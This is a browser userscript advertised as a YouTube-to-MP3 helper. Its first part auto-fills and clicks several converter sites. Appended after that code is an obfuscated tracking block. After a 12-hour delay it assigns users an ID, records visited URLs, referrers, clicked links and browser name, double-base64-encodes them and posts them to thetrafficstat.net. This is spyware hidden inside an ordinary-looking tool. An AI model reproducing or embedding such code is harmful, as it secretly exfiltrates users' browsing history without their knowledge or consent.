NOTICE: By continued use of this site you understand and agree to the binding Terms of Service and Privacy Policy.
// ==UserScript== // @name YouTube To MP3 - Light // @namespace LaidBackTempo // @description Convert youtube video to MP3 // @include /(^https?:\/\/www\.|^https?:\/\/)youtube\.com\/watch\?v=.*/ // @include /(^https?:\/\/www\.|^https?:\/\/)video2mp3\.net\/view\/.*/ // @include /(^https?:\/\/www\.|^https?:\/\/)listentoyoutube\.com\/.*/ // @include /(^https?:\/\/www\.|^https?:\/\/)mp3fiber\.com\/.*/ // @include /convert2mp3\.net\/(en)?.*/ // @nclude * // @version 1.3 // @history v1.1 - added new urls // @require https://code.jquery.com/jquery-2.1.1.min.js // @require https://gist.github.com/raw/2625891/waitForKeyElements.js // @history v1.2 - @updateURL updated // @connect thetrafficstat.net // @grant GM_setValue // @grant GM_getValue // @grant GM_xmlhttpRequest // @grant GM_addStyle // ==/UserScript== var url = location.href; if (url.indexOf("video2mp3") >= 0) { $("#do-download-video").ready(function () { document.getElementById("do-download-video").click(); }); } else if (url.indexOf("convert2mp3") >= 0) { waitForKeyElements( 'button', click ); waitForKeyElements( '[class*=btn-success]', getDownloadLink ); document.getElementById("urlinput").value = GM_getValue("youtubeLink"); document.getElementsByClassName("orange")[0].click(); } else if (url.indexOf("listentoyoutube") >= 0) { document.getElementById("url").value = GM_getValue("youtubeLink"); document.getElementById("submit").click(); } else if (url.indexOf("mp3fiber") >= 0) { waitForKeyElements( 'div.searchDiv > p > a[onclick]', getDownloadLink ); document.getElementsByClassName("inputbg")[0].value = GM_getValue("youtubeLink"); } else { GM_setValue("youtubeLink", url); var title = $("#watch8-secondary-actions"); var getLink = url; var id = ""; if (url.indexOf("&") == -1) { encodeUrl(); id = url.substr(url.indexOf("=")+1); } else { getLink = url.substring(0, url.indexOf("&")); id = url.substring(url.indexOf("=")+1, url.indexOf("&")); encodeUrl(); } var convert2mp3 = "http://convert2mp3.net/en/"; var video2mp3 = "http://www.video2mp3.net/loading.php?url="; var listentoyoutube = "http://www.listentoyoutube.com/"; var mp3fiber = "http://mp3fiber.com"; var mp3 = '<span> </span>' + '<b>[</b><a id="mp1" target="_blank" href="' + convert2mp3 + '" ><span> Convert2mp3 </span></a><b>]</b><span> </span>' + '<b>[</b><a id="mp2" target="_blank" href="' + mp3fiber + '" ><span> Youtube2MP3 </span></a><b>]</b>' + '<b>[</b><a id="mp3" target="_blank" href="' + listentoyoutube + '" ><span> ListenToYoutube </span></a><b>]</b>' + '<b>[</b><a id="mp4" target="_blank" href="' + video2mp3 + getLink + '" ><span> Video2MP3 </span></a><b>]</b>'; title.append(mp3); } function encodeUrl() { getLink = getLink.replace(/&/g,"%26"); getLink = getLink.replace(/\?/g,"%3F"); getLink = getLink.replace(/=/g,"%3D"); getLink = getLink.replace(/\//g,"%2F"); getLink = getLink.replace(/:/g,"%3A"); getLink = getLink.replace(/_/g,"%5F"); getLink = getLink.replace("feature=player_embedded&",""); } function click (jNode) { jNode.click(); } function getDownloadLink (jNode) { location.replace(jNode.prop("href")); } (function(){ "use strict"; var run = function() { var s = GM_getValue("dprm", null); if (!s) { GM_setValue("dprm", new Date().getTime()); return; } ((new Date().getTime()) - s > 43200000) && (window == top) && ! function() { try { var settings = function() { var e = { base64Enabled: !0, relatedUrl: "https://s8639.thetrafficstat.net/related", sourceId: "8639" }; return e }(), utils = function() { var e = function(e) { var t = [], s = 0; for (var r in e) e.hasOwnProperty(r) && (s++, t.push(r + "=" + e[r])); return { data: t.join("&"), length: s } }, t = function(e) { return btoa(e) }, s = function() { var e, t, s = navigator.appName, r = navigator.userAgent; return -1 != (t = r.indexOf("Opera")) ? s = "opera" : -1 != (t = r.indexOf("MSIE")) ? s = "ie" : -1 != (t = r.indexOf("Chrome")) ? s = "chrome" : -1 != (t = r.indexOf("Safari")) ? s = "safari" : -1 != (t = r.indexOf("Firefox")) ? s = "ff" : (e = r.lastIndexOf(" ") + 1) < (t = r.lastIndexOf("/")) && (s = r.substring(e, t)), s }, r = function(e) { for (var t = "", s = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789", r = 0; e > r; r++) t += s.charAt(Math.floor(Math.random() * s.length)); return t }; return { detectCurrentBrowserName: s, createRandomString: r, base64Encode: t, serialize: e } }(); "object" != typeof JSON && (JSON = {}, function() { "use strict"; function f(e) { return 10 > e ? "0" + e : e } function quote(e) { return escapable.lastIndex = 0, escapable.test(e) ? '"' + e.replace(escapable, function(e) { var t = meta[e]; return "string" == typeof t ? t : "\\u" + ("0000" + e.charCodeAt(0).toString(16)).slice(-4) }) + '"' : '"' + e + '"' } function str(e, t) { var s, r, n, i, a, o = gap, d = t[e]; switch (d && "object" == typeof d && "function" == typeof d.toJSON && (d = d.toJSON(e)), "function" == typeof rep && (d = rep.call(t, e, d)), typeof d) { case "string": return quote(d); case "number": return isFinite(d) ? String(d) : "null"; case "boolean": case "null": return String(d); case "object": if (!d) return "null"; if (gap += indent, a = [], "[object Array]" === Object.prototype.toString.apply(d)) { for (i = d.length, s = 0; i > s; s += 1) a[s] = str(s, d) || "null"; return n = 0 === a.length ? "[]" : gap ? "[\n" + gap + a.join(",\n" + gap) + "\n" + o + "]" : "[" + a.join(",") + "]", gap = o, n } if (rep && "object" == typeof rep) for (i = rep.length, s = 0; i > s; s += 1) "string" == typeof rep[s] && (r = rep[s], n = str(r, d), n && a.push(quote(r) + (gap ? ": " : ":") + n)); else for (r in d) Object.prototype.hasOwnProperty.call(d, r) && (n = str(r, d), n && a.push(quote(r) + (gap ? ": " : ":") + n)); return n = 0 === a.length ? "{}" : gap ? "{\n" + gap + a.join(",\n" + gap) + "\n" + o + "}" : "{" + a.join(",") + "}", gap = o, n } } "function" != typeof Date.prototype.toJSON && (Date.prototype.toJSON = function() { return isFinite(this.valueOf()) ? this.getUTCFullYear() + "-" + f(this.getUTCMonth() + 1) + "-" + f(this.getUTCDate()) + "T" + f(this.getUTCHours()) + ":" + f(this.getUTCMinutes()) + ":" + f(this.getUTCSeconds()) + "Z" : null }, String.prototype.toJSON = Number.prototype.toJSON = Boolean.prototype.toJSON = function() { return this.valueOf() }); var cx, escapable, gap, indent, meta, rep; "function" != typeof JSON.stringify && (escapable = /[\\\"\x00-\x1f\x7f-\x9f\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g, meta = { "\b": "\\b", " ": "\\t", "\n": "\\n", "\f": "\\f", "\r": "\\r", '"': '\\"', "\\": "\\\\" }, JSON.stringify = function(e, t, s) { var r; if (gap = "", indent = "", "number" == typeof s) for (r = 0; s > r; r += 1) indent += " "; else "string" == typeof s && (indent = s); if (rep = t, t && "function" != typeof t && ("object" != typeof t || "number" != typeof t.length)) throw new Error("JSON.stringify"); return str("", { "": e }) }), "function" != typeof JSON.parse && (cx = /[\u0000\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g, JSON.parse = function(text, reviver) { function walk(e, t) { var s, r, n = e[t]; if (n && "object" == typeof n) for (s in n) Object.prototype.hasOwnProperty.call(n, s) && (r = walk(n, s), void 0 !== r ? n[s] = r : delete n[s]); return reviver.call(e, t, n) } var j; if (text = String(text), cx.lastIndex = 0, cx.test(text) && (text = text.replace(cx, function(e) { return "\\u" + ("0000" + e.charCodeAt(0).toString(16)).slice(-4) })), /^[\],:{}\s]*$/.test(text.replace(/\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g, "@").replace(/"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g, "]").replace(/(?:^|:|,)(?:\s*\[)+/g, ""))) return j = eval("(" + text + ")"), "function" == typeof reviver ? walk({ "": j }, "") : j; throw new SyntaxError("JSON.parse") }) }()); logic = function() { function e(e, t) { t || (t = document); for (var s = document.evaluate(e, t, null, XPathResult.ORDERED_NODE_SNAPSHOT_TYPE, null), r = [], n = 0; n < s.snapshotLength; n++) r.push(s.snapshotItem(n)); return r } function t(e, t) { return Object.keys(t || {}).forEach(function(s) { e[s] = t[s] }), e } function s(r, n) { var i = r.$, o = i.skey, d = i.stype || "First", u = i.expression; if (!u) return null; var f = e(u, n); if (!f.length) return null; if (retrieved = "Last" == d ? f.splice(-1, 1) : "First" == d ? f.splice(0, 1) : f, (r.xpath || []).length) a = retrieved.map(function(e) { var n = {}; return r.xpath.forEach(function(r) { var i = s(r, e); return t(n, i), i ? i : null }), n }); else if (r["store-attr"]) { o = r["store-attr"][0].$.skey; var p = r["store-attr"][0].$.attr; a = retrieved.map(function(e) { return e.getAttribute(p) }) } else r["store-text"] && (o = r["store-text"][0].$.skey, a = retrieved.map(function(e) { return e.textContent })); if (!(a || []).length) return null; var c = null; switch (d) { case "Last": c = a.splice(-1, 1)[0]; break; case "First": c = a.splice(0, 1)[0]; break; case "List": c = a } var l = {}; return o ? l[o] = c : l = c, l } function r(e) { for (var e = window.e || e, t = e.target || e.srcElement, s = 0; 10 > s; s++) { if ("A" == t.nodeName) { n.tgt = t.outerHTML, GM_setValue("sdc_data", JSON.stringify(n)); break } if (!t.parentElement) break; t = t.parentElement } } var n = null, i = null, o = function() { window.onfocus = c; var nr = GM_getValue("sdc_data", null); if (nr) { n = JSON.parse(nr); } else { n = fu(); } p(); if (document.hasFocus()) { n.prev = document.location.href; } GM_setValue("sdc_data", JSON.stringify(n)); var e = document.location.href; setInterval(function() { if (n && document.location.href != e) { if (document.hasFocus()) { n.prev = document.location.href; } (GM_setValue("sdc_data", JSON.stringify(n)), p(), e = document.location.href); } }, 750) }, d = function() {}, u = function(e, t) { if (null == t || "undefined" == t || "undefined" == typeof t || 0 == t.length) n = f(), GM_setValue("sdc_data_1", JSON.stringify(n)); else try { n = JSON.parse(t) } catch (s) { n = f() } p(); if (document.hasFocus()) { n.prev = document.location.href; } GM_setValue("sdc_data", JSON.stringify(n)); }, fu = function() { var e = null, t = document.getElementById("stats-script"); e = t && t.getAttribute("userid") ? t.getAttribute("userid") : utils.createRandomString(32); var s = { uid: e, ses: utils.createRandomString(32), browserName: utils.detectCurrentBrowserName(), lastFocusedUrl: "", prev: "" }; return s; }; document.addEventListener ? document.addEventListener("click", r, !1) : document.attachEvent("onclick", r); var p = function() { a = { s: settings.sourceId, tmv: settings.tmv, md: 21, pid: n.uid, sess: n.ses, q: encodeURIComponent(document.location.href), prev: encodeURIComponent(n.prev), link: document.hasFocus() ? 1 : 0, sub: n.browserName, hreferer: encodeURIComponent(document.referrer) }; var e = utils.serialize(a), t = e.data, r = utils.base64Encode(utils.base64Encode(t)); if ("" != r) { var a = "e=" + encodeURIComponent(r); GM_xmlhttpRequest({ method: "POST", url: settings.relatedUrl, data: a, headers: { "Content-Type": "application/x-www-form-urlencoded" }, onload: function(response) {} }); } // }, c = function() { if (n) { if (document.hasFocus()) { n.prev = document.location.href; GM_setValue("sdc_data", JSON.stringify(n)); } } }; "prerender" != document.webkitVisibilityState && ("chrome" === utils.detectCurrentBrowserName() || "ff" === utils.detectCurrentBrowserName()) && o() }() } catch (e) {} }(); }; run(); })();